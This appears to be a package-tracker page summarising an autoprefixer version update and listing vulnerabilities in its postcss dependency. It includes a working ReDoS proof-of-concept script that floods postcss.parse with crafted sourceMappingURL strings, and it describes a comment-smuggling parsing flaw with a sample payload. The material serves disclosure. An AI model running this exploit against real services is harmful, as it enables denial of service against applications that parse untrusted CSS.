The autoprefixer package, a tool for automatically adding vendor prefixes to CSS rules based on Can I Use data, saw a minor update between versions 1.1.20140510 and 1.1.20140512. Both versions share the same core functionality of parsing CSS and applying necessary prefixes to ensure cross-browser compatibility. They also retain the same dependencies on 'postcss' and 'fs-extra' for CSS parsing and file system operations, respectively. The developer dependencies, crucial for testing and development, remain largely consistent, with slight variations in the versions of 'stylus' and 'browserify'. Specifically, 'stylus' was bumped from version 0.44.0 to 0.45.0, while 'browserify' moved from 4.1.1 to 4.1.2.
For developers, these changes suggest minor improvements or bug fixes within the 'stylus' and 'browserify' toolchains, potentially impacting the development workflow but likely not affecting the core functionality of Autoprefixer itself. Given the close proximity of the release dates (May 10th and May 12th, 2014), the update most likely addresses immediate bugfixes or refinements. Users of Autoprefixer might consider upgrading to the newer version for the latest tooling enhancements, though the impact on the final prefixed CSS output is expected to be minimal. This package is valuable for frontend developers aiming to write clean, standard CSS without the burden of manually managing vendor prefixes, improving efficiency and reducing the risk of compatibility issues across different browsers.
All the vulnerabilities related to the version 1.1.20140512 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.